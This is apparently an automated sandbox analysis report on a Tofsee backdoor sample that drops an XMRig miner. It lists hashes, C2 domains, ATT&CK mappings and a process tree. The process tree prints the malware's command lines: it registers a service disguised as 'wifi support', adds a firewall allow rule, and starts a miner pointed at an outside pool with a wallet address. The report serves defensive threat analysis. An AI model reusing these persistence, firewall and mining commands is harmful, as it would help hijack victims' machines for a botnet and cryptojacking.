Analysis

  • max time kernel
    186s
  • max time network
    196s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-11-2022 10:27

General

  • Target

    2df9e15a40383966d55fecd858259c770be5b70d537c24b416d5cf045bba2929.exe

  • Size

    185KB

  • MD5

    1c5e5f86fe3cca92894d215867094168

  • SHA1

    77b98b39a63a0513a5064833386d47b36855a908

  • SHA256

    2df9e15a40383966d55fecd858259c770be5b70d537c24b416d5cf045bba2929

  • SHA512

    68c4c4fac27b4938c009ce57adf8cffc1436d254a33ce798bde3c71f75e4204de2bd350ee09f1095c1c6896c91311ba73e86dc14fb7d6e3ab69fb5e92bfa7e13

  • SSDEEP

    3072:nXMMUyuwOttYAd5+ygOWkH6XwtKgyTmEs35I1kEY0upL90NQVYf:cMLOttDxWkmwUgyTmEuW1670Ny

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2df9e15a40383966d55fecd858259c770be5b70d537c24b416d5cf045bba2929.exe
    "C:\Users\Admin\AppData\Local\Temp\2df9e15a40383966d55fecd858259c770be5b70d537c24b416d5cf045bba2929.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:856
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\uhmkmphr\
      2⤵
        PID:1840
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xntafrvk.exe" C:\Windows\SysWOW64\uhmkmphr\
        2⤵
          PID:2488
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create uhmkmphr binPath= "C:\Windows\SysWOW64\uhmkmphr\xntafrvk.exe /d\"C:\Users\Admin\AppData\Local\Temp\2df9e15a40383966d55fecd858259c770be5b70d537c24b416d5cf045bba2929.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3956
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description uhmkmphr "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3128
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start uhmkmphr
          2⤵
          • Launches sc.exe
          PID:4788
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1468
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 856 -s 1052
          2⤵
          • Program crash
          PID:1552
      • C:\Windows\SysWOW64\uhmkmphr\xntafrvk.exe
        C:\Windows\SysWOW64\uhmkmphr\xntafrvk.exe /d"C:\Users\Admin\AppData\Local\Temp\2df9e15a40383966d55fecd858259c770be5b70d537c24b416d5cf045bba2929.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3832
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1112
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3036
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3832 -s 572
          2⤵
          • Program crash
          PID:5020
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 856 -ip 856
        1⤵
          PID:3560
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3832 -ip 3832
          1⤵
            PID:1444

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\xntafrvk.exe
            Filesize

            10.4MB

            MD5

            a6f6bb51878778959294d5f0276e74a6

            SHA1

            dc03a498aac0034dfe4b3d196c56a3e0d404a2c0

            SHA256

            a016e688b058b358df062be784c6ae3a548a8b37fba0299dada9fea0ada8a732

            SHA512

            9eab137153c2c55324363c8fd10bf377c6d0929cd6541b5bb34a8f9e763448534c7fe4c3b80f45853e5463e5ccf57e167ceedf3b23eff856eda764c7832191a5

          • C:\Windows\SysWOW64\uhmkmphr\xntafrvk.exe
            Filesize

            10.4MB

            MD5

            a6f6bb51878778959294d5f0276e74a6

            SHA1

            dc03a498aac0034dfe4b3d196c56a3e0d404a2c0

            SHA256

            a016e688b058b358df062be784c6ae3a548a8b37fba0299dada9fea0ada8a732

            SHA512

            9eab137153c2c55324363c8fd10bf377c6d0929cd6541b5bb34a8f9e763448534c7fe4c3b80f45853e5463e5ccf57e167ceedf3b23eff856eda764c7832191a5

          • memory/856-133-0x00000000021A0000-0x00000000021B3000-memory.dmp
            Filesize

            76KB

          • memory/856-134-0x0000000000400000-0x0000000000464000-memory.dmp
            Filesize

            400KB

          • memory/856-152-0x0000000000400000-0x0000000000464000-memory.dmp
            Filesize

            400KB

          • memory/856-132-0x000000000070D000-0x000000000071D000-memory.dmp
            Filesize

            64KB

          • memory/856-138-0x000000000070D000-0x000000000071D000-memory.dmp
            Filesize

            64KB

          • memory/856-139-0x00000000021A0000-0x00000000021B3000-memory.dmp
            Filesize

            76KB

          • memory/1112-145-0x0000000000000000-mapping.dmp
          • memory/1112-166-0x0000000007140000-0x000000000754B000-memory.dmp
            Filesize

            4.0MB

          • memory/1112-169-0x00000000019F0000-0x00000000019F7000-memory.dmp
            Filesize

            28KB

          • memory/1112-163-0x00000000019E0000-0x00000000019E5000-memory.dmp
            Filesize

            20KB

          • memory/1112-160-0x0000000001910000-0x0000000001920000-memory.dmp
            Filesize

            64KB

          • memory/1112-146-0x0000000000440000-0x0000000000455000-memory.dmp
            Filesize

            84KB

          • memory/1112-157-0x0000000000A10000-0x0000000000A16000-memory.dmp
            Filesize

            24KB

          • memory/1112-154-0x0000000002200000-0x000000000240F000-memory.dmp
            Filesize

            2.1MB

          • memory/1112-153-0x0000000000440000-0x0000000000455000-memory.dmp
            Filesize

            84KB

          • memory/1112-151-0x0000000000440000-0x0000000000455000-memory.dmp
            Filesize

            84KB

          • memory/1468-143-0x0000000000000000-mapping.dmp
          • memory/1840-135-0x0000000000000000-mapping.dmp
          • memory/2488-136-0x0000000000000000-mapping.dmp
          • memory/3036-172-0x0000000000000000-mapping.dmp
          • memory/3036-173-0x0000000000A30000-0x0000000000B21000-memory.dmp
            Filesize

            964KB

          • memory/3036-178-0x0000000000A30000-0x0000000000B21000-memory.dmp
            Filesize

            964KB

          • memory/3128-141-0x0000000000000000-mapping.dmp
          • memory/3832-150-0x0000000000400000-0x0000000000464000-memory.dmp
            Filesize

            400KB

          • memory/3832-149-0x00000000005D9000-0x00000000005E9000-memory.dmp
            Filesize

            64KB

          • memory/3956-140-0x0000000000000000-mapping.dmp
          • memory/4788-142-0x0000000000000000-mapping.dmp